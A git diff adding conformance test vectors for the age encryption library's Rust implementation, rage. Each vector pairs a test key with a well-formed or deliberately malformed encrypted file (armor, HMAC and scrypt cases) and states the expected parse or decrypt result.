AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRp +b24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FYTnlDVkpwTDdPdXdQ +ZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lWK0h1MHIrRThSNzdE +ZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkzZjFzcUhqbHUvejFM +Q1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpSyPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_whitespace_begin b/lib/rage/age/tests/testdata/testkit/armor_whitespace_begin new file mode 100644 index 0000000..91c70ab --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_whitespace_begin @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +----- BEGIN AGE ENCRYPTED FILE ----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_whitespace_end b/lib/rage/age/tests/testdata/testkit/armor_whitespace_end new file mode 100644 index 0000000..22bfb39 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_whitespace_end @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +----- END AGE ENCRYPTED FILE ----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_whitespace_eol b/lib/rage/age/tests/testdata/testkit/armor_whitespace_eol new file mode 100644 index 0000000..d0a5904 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_whitespace_eol @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_whitespace_last_line b/lib/rage/age/tests/testdata/testkit/armor_whitespace_last_line new file mode 100644 index 0000000..f925d3a --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_whitespace_last_line @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_whitespace_line_start b/lib/rage/age/tests/testdata/testkit/armor_whitespace_line_start new file mode 100644 index 0000000..6093e97 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_whitespace_line_start @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz + ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_whitespace_outside b/lib/rage/age/tests/testdata/testkit/armor_whitespace_outside new file mode 100644 index 0000000..76b891a --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_whitespace_outside @@ -0,0 +1,18 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes +comment: whitespace is allowed before and after armored files + + + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- + + diff --git a/lib/rage/age/tests/testdata/testkit/armor_wrong_type b/lib/rage/age/tests/testdata/testkit/armor_wrong_type new file mode 100644 index 0000000..28f6d16 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_wrong_type @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED MESSAGE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED MESSAGE----- diff --git a/lib/rage/age/tests/testdata/testkit/header_crlf b/lib/rage/age/tests/testdata/testkit/header_crlf new file mode 100644 index 0000000..69cafae --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/header_crlf @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 +comment: lines in the header end with CRLF instead of LF + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +--- 2KIGb7ye32MWtUuEVWkO3MP6qCDLzOvT9wF06lelBSI +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/hmac_bad b/lib/rage/age/tests/testdata/testkit/hmac_bad new file mode 100644 index 0000000..5021bb6 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/hmac_bad @@ -0,0 +1,9 @@ +expect: HMAC failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +--- 8McE3ix9R34E/vLrQv3yepsHjo/LXhfs22Ab3UyInmg +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/hmac_extra_space b/lib/rage/age/tests/testdata/testkit/hmac_extra_space new file mode 100644 index 0000000..f3bfd1e --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/hmac_extra_space @@ -0,0 +1,9 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +--- WyJp9F/9FOZh7gJdheq2WIJcwHgYc8NIVh3ddwhrcNg +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/hmac_garbage b/lib/rage/age/tests/testdata/testkit/hmac_garbage new file mode 100644 index 0000000..29e54ab --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/hmac_garbage @@ -0,0 +1,9 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +--- WyJp9F/9FOZh7gJdheq2WIJcwHgYc8NIVh3ddwhrcNgAAA +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/hmac_missing b/lib/rage/age/tests/testdata/testkit/hmac_missing new file mode 100644 index 0000000..6ecea2a --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/hmac_missing @@ -0,0 +1,9 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +--- +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/hmac_no_space b/lib/rage/age/tests/testdata/testkit/hmac_no_space new file mode 100644 index 0000000..9f1d80d --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/hmac_no_space @@ -0,0 +1,9 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +---WyJp9F/9FOZh7gJdheq2WIJcwHgYc8NIVh3ddwhrcNg +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/hmac_not_canonical b/lib/rage/age/tests/testdata/testkit/hmac_not_canonical new file mode 100644 index 0000000..fd18cda --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/hmac_not_canonical @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 +comment: the base64 encoding of the HMAC is not canonical + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +--- WyJp9F/9FOZh7gJdheq2WIJcwHgYc8NIVh3ddwhrcNh +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/hmac_trailing_space b/lib/rage/age/tests/testdata/testkit/hmac_trailing_space new file mode 100644 index 0000000..2e216bd --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/hmac_trailing_space @@ -0,0 +1,9 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +--- WyJp9F/9FOZh7gJdheq2WIJcwHgYc8NIVh3ddwhrcNg +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/hmac_truncated b/lib/rage/age/tests/testdata/testkit/hmac_truncated new file mode 100644 index 0000000..e7f7196 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/hmac_truncated @@ -0,0 +1,9 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +--- WyJp +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/scrypt b/lib/rage/age/tests/testdata/testkit/scrypt new file mode 100644 index 0000000000000000000000000000000000000000..57dd08f0e7b2312db772e8f24d786de3bb3da187 GIT binary patch literal 340 zcmW-aJ5Iwe06>{DA_k-`W+&8f?8b=%5>zcMC6x5vY>w@uKbkZSZNmk)0}^n79)KN* zGaw{ZHjaQqL2r3_%aiLw^2`D1mUF3;mau#lGvNSem?6O!LQaujkV4b4h|L7Ep~YxG zOIX^LkksIiQf5#DONiruln@F9Vu2QpXA(?h?f_zAg87z^SO^l65R98^`mbIE{)+L(@-y`fnhu!s68`n00HlP7--hE0Lt^ z0Rw7LcT&l3stva{@G1@Ay0uG$Djud`l0UyTq}^bulvuP59c-CJZFaoKl^^+>G)ec?rkOy K*SqdZ`2GvoZEjrv literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_and_x25519 b/lib/rage/age/tests/testdata/testkit/scrypt_and_x25519 new file mode 100644 index 0000000..90a61fd --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/scrypt_and_x25519 @@ -0,0 +1,13 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-143WN7DCXU4G8R5AXQSSYD9AEPYDNT3HXSLWSPK36CDU6E8M59SSSAGZ3KG +passphrase: password +comment: scrypt stanzas must be alone in the header + +age-encryption.org/v1 +-> X25519 ajtqAvDEkVNr2B7zUOtq2mAQXDSBlNrVAuM/dKb5sT4 +U+hKlJ4isweJ9PKG7pgscmG3cPASLgTw7SOBpbZ8x2U +-> scrypt 3d9y0G+8q1ffPQ0xJJatIQ 10 +foZolxuhRSL7IG7oaR+456IzkHtvue7j4mUjh3DB6EI +--- yp4Z0lV1LEdkm1+uDCuPUV+9hIXbPKrBXKQ/f5Y03As +T^kôƉ>)ìÍ, r±ÌFlž'cÏô’‚ž›¸Vµ \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_bad_tag b/lib/rage/age/tests/testdata/testkit/scrypt_bad_tag new file mode 100644 index 0000000000000000000000000000000000000000..b47512f0d17028b2b684b53248d07d3f5ce27d14 GIT binary patch literal 358 zcmXYp%}&BV6op;S(zq~TGw!XlWhP1!O-KO?Sox>uZfK{|AKIzy2$UD_9Zb|0-~rs5 z_zcFxtvesV#6rxu$@y~cJ%_FmY6}g<97aUg9&r6Rg(1x~h^q)AyO4`dRT)<>Mk;cU zf>l&S6k(8%EK9tUWK@G&Uh>odHjg427mdQBQ1?hNs@&uAT&c(ylKWyE3*RQf=P?w7 z!L1dqGw$S&yF1S8G*1M~1c}!K`WalNJZ1n8MkN~Wjz#)}r>wkCfOG->18Gw(UoU6# zv0;o7)@Or+V!aO)8L)BC$fIV*oJ{+Tj$@j}m5TTcT?LKGsHMwYd3`y&YpY}y0!fnK zFs<=$+LAHhp|YU1UgP@Yj9EdwT{o scrypt rF0/NwblUHHTpgQgRpe5CQ 10 +gUjEymFKMVXQEKdMMHL24oYexjE3TIC0O0zGSqJ2aUY +-> scrypt GzXG5ofdANo6w3msn3QsIQ 10 +OveITuwxakv7k2oLnioNYF4Bhgz9KZ36pb098wDoAv8 +--- a5d+4Ay1evJhoDskIzuTZV9bBgKk4573VZNfuoWJDPE +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_extra_argument b/lib/rage/age/tests/testdata/testkit/scrypt_extra_argument new file mode 100644 index 0000000000000000000000000000000000000000..3fa92ee932400a1646428ead4d88330775c1b4e2 GIT binary patch literal 335 zcmW-ZO-{l<9K~JF(zq~TGp@DLmKhCAbO97mEK;E;?xyX(A6PnNrV8Z(-oZq@00(ey z;u(yITX!D8#7f>h> ziBB}DlR5!HQO2aqBEcjW_&?9N@R7%-Q%K9-JOb>N-2uUndfboG5c6P-WyA#FSmKoD z*kdVAV~-^Wu@IDUD~c?SdAiRoz5@|?eH=K+O)BzmPVm7 zF^g%tYmKgLv+G+{=UgXz42y|b8=f}R3w3!in4Rg&86!neu-npHUbOV7Xv~tvcvm{z z)Z%@&H*!pSsrs>2Tn*Y*6)cG=^!@wcYva>+D^@T0-p=p#P38IMM?P(>CXfA1>oxfJ E0|%pVqW}N^ literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_long_file_key b/lib/rage/age/tests/testdata/testkit/scrypt_long_file_key new file mode 100644 index 0000000000000000000000000000000000000000..669c22257c94386469dff68ab80cb1152adf8856 GIT binary patch literal 377 zcmXwyOG?8~7=<0*fg2FvcdRjw-kZ`2f)!04Qq(qD>L^YAB+cuFoAePk-~x0e;s$gD zb|Qjp1KgE-6Ei}v+e<0$D*eLYC&Trs-FC3S;oT$Niml$(JO zPTWq|)%2lBBuRozleTqtkQtG>=Y;d4fcM%;G&POmK&}iX-KwTH;!c0Yxk=X8>&Mmm g%3J-Vc(~8EHZFG7uWy$(%g5){&%4EwShT*r0fGa7TmS$7 literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_no_match b/lib/rage/age/tests/testdata/testkit/scrypt_no_match new file mode 100644 index 0000000000000000000000000000000000000000..3d090e184d3eb69325430b9eebd2a5cc51ab1bd9 GIT binary patch literal 264 zcmYeTC`e5%u~Nv(SIA8)NzUL(%gjkt$WE=aQZThNF*QjB!ZcHJBLh=oQ&STolN1v} zQzH{glT;H^u7bqk;)0B##Nt#dh4P~OymT(E#Pn3%)V$=P%7T*2{5-w9J?+cNuP39j;t6zeGpzuSAseJlnU$b4Au<%?c3m I-H~- ziaexX6*Un>7-S^Rvrv$nYVg0WxbT3>)0DF6w+Jb8DtCq;WiIz37C`Rra2^stVU$D0 z3+NKYS>%!g01{BC+KMtOBF;{^23M5H_`m#ChTCLpG9j7x6xH3tV ztAQOdUJm>7MV$5Hp}sMWT@iyCe*b>>+WXYr%I!;Wa`byRtvz4-f?xygELTSMPDR=?zV4_~22XJrV z8H|ZrcOJpSN50K3AJjScrHbdk0^m4gaeBi6g>eda0gZ}jhfw1G7ScmSqHRivLINUF zg>(oIigH#I`JA%?RQ%_4#sh>{1Olvl-sEMRtqw9CiIt3m6I}d1%)63!ww|SKzwhMH zB%0x#~;*`iEpW-p0VML}C1_2QvD7OTK6dB^k$)S|DScOP5t>PxeED);xkcduHH$6v+6 N&L+9Hw$118?FS4yTw(wK literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_salt_long b/lib/rage/age/tests/testdata/testkit/scrypt_salt_long new file mode 100644 index 0000000000000000000000000000000000000000..66e37f93776172a1fb5c876b22631b8021e4f4cf GIT binary patch literal 278 zcmW;AJx_x`9Ds2Lr&~Ci+9p8m{233O;c@!l8y)bflFIB4`_>Dz(pNh-JG2K z3JxYN?k27s9Q+Etyj#!B<9)Ta^Ys?KXitmp S*RA#K=K8_Bvp=ny>+K&g_FwJ* literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_salt_missing b/lib/rage/age/tests/testdata/testkit/scrypt_salt_missing new file mode 100644 index 0000000..880b0e1 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/scrypt_salt_missing @@ -0,0 +1,9 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +passphrase: password + +age-encryption.org/v1 +-> scrypt 10 +W0mMthyhNJOV3debCwkQcUlNx/i6Ss/A07aQCrG5Gcw +--- 1QsPcEbBSylfP4apakJqtDBJMrpd81rPuSLTCvdZx6E +¬]?7åPqÓ¦ F—¹ •Â÷õÛ®è zŒ(rŠóÎ| \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_salt_short b/lib/rage/age/tests/testdata/testkit/scrypt_salt_short new file mode 100644 index 0000000000000000000000000000000000000000..a95f4608584930ff0805b2ba268f2b61c258e0e2 GIT binary patch literal 267 zcmW;AJ5Iwe9Ds3FydWk97GEIE%PuqnQdJUKwMqab1+gGE{>P1)hjB{UWMg9N$R)S{ z0}~S50g0{R96aaSFE=z62gQK(+XeETUUm=Z`}gD5&ZqO%Ja6O4X4BdFdjZdGKeUI} GgZ&@;hFTy1 literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_uppercase b/lib/rage/age/tests/testdata/testkit/scrypt_uppercase new file mode 100644 index 0000000000000000000000000000000000000000..88bd1e424ddf209cb05b398d03304301ce5f87c8 GIT binary patch literal 267 zcmW;AzfOZd0Dy7l8;yfWmvdI+pm%9Xq6>wB6a@>7?RFjqEf%-}O7R7J2NU%L`T*`G zK7%oFb@LHS{F86_<>PC?S*^jmfElgX9K?$yhgZDSAn9X**>5rFsfct5!77fhLR8$x z91|dDRf%~?E3UymH$@o%Koc(UoRzJp7e#(pl!<(!0O=Tx{~s((B%d~y%h0j{k@(5E z;6(SKf)I6t9rF5l_p$Y^y|kOB`e5&Sch-44`l=pwHtD^$ I?LNnEKS`!p9{>OV literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_23 b/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_23 new file mode 100644 index 0000000..4d286be --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_23 @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +passphrase: password +comment: work factor is very high, would take a long time to compute + +age-encryption.org/v1 +-> scrypt rF0/NwblUHHTpgQgRpe5CQ 23 +qW9eVsT0NVb/Vswtw8kPIxUnaYmm9Px1dYmq2+4+qZA +--- 38TpQMxQRRNMfmYYpBX6DDrPx4/QY5UmJnhPyVoX/cw +¬]?7åPqÓ¦ F—¹ •Â÷õÛ®è zŒ(rŠóÎ| \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_hex b/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_hex new file mode 100644 index 0000000000000000000000000000000000000000..a1feca9aa4e54755b879c89c1e2041e7f1f24e74 GIT binary patch literal 274 zcmYeTC`e5%u~NuLO-xBGQbRtPcOeH zUBAqbOV>`J7%ZkxfsSmkRF&GRFG=w9H?MWk;s)En&n!V>*nnn77^&` zo#N~3;bUZyADLQ_1^O{P~{$6=w*}`8p)-rtE&)|kye&#RvwX_dPfEDlN@$+sOO9bxhRFdr!LczK4~CKK`U-9I6y9;2liV3-kc) zO+14!aqG?_nD~=-^W=r40DocP7`y-^4!tD1k$}P^1AGOQiMhcz^M4EZJ|$e|oKY4q zjZpgrC`2s10!;kpGM52DUIYrveOZY`lFxT@8L77#QVwzP|FCQm^{kv`u5AxR z)Q<)Nc(ad*Mo{FYRyAvPoY7_9>I9BscPY!quuLs|c+w>2q&~j5KBb;JMv9`~y;$$D z?UGd^L4eV`c3XZ+t!G`=SBJFBI@Vxn@H#x246)QYtF75b17&4=Ak#23o)icn1^p0zH6x z6VG5w+`97!CjR8zJb9tcz%NxC0}FuTkj)k=4k(;00MDUOG3^pc{NF;_kwvOdN@Nlc ziOQr)fKZgNqR3*-3Q+N%tCR-_u?PfM`n<`?S-Lz(dDLD@NI1g9|HE7t+h^7F!ZD0V z7TM7_13Iv=D9I>t60Nz>N0xhKYooxjj8mDU9@L4ZOojvTT)aKG%uSg&9uforr}hf0 zxhdtIYxIsCs@J45?TL{)jJ>{Mxp`k_a~PYIVWSp({k;3wdRJeX%~QF*_q{u9Jsy4) P4?COW{$ksD4&QzNE^AxV literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_missing b/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_missing new file mode 100644 index 0000000000000000000000000000000000000000..62c14e21f010214bda0625ebeb5f33dd255b10ba GIT binary patch literal 270 zcmW;AOHPA89Ds4xvotPDx*6As1v(Q7iEb)Q8(Xy4`si+eKa}#C4p6`gcn1^p0zH6x z6VG5w+`97!CO-0Qe)*v0;1&j60P{d#pM`NL0Qq4IID*E&R40_Uzxh;CW!j;XsKg@* zRf$f3P{diD^MznJ82HasCOm{#01~9GXm}B3>0u^<_F6&GG0y)V7Ja#GRZct`45mDo z1U3iSn;>Peidoj1@hG^x8SZD(3z;ico#)m*1Hc!RD-uLdj^?3A^KkRIl L_vhQ=XaDU7oUvT3 literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_negative b/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_negative new file mode 100644 index 0000000000000000000000000000000000000000..eaf540005c414b593dfc01787a2beb0a9e9ad058 GIT binary patch literal 274 zcmW;AO-_SA7=U5dvotPDx*7K(1D#0=iEa?At}d0|z6SE)Dx*9VRRH%@Okpdd~GUqP#4rcg$`-vZW?3F|UOW$IIj z$yA|087kbeEF$ifpyEF_IrkBALl7YIcw1C)o*m>o6l)0yN4Wfdm>Wd2n#WmX$R6HA%ZwSHU<*NtfR=d_AM=@HP)t7ejRPFD5?=Cx!hhOEx N&L+8^Y@5%)+Ydx`Tsi;% literal 0 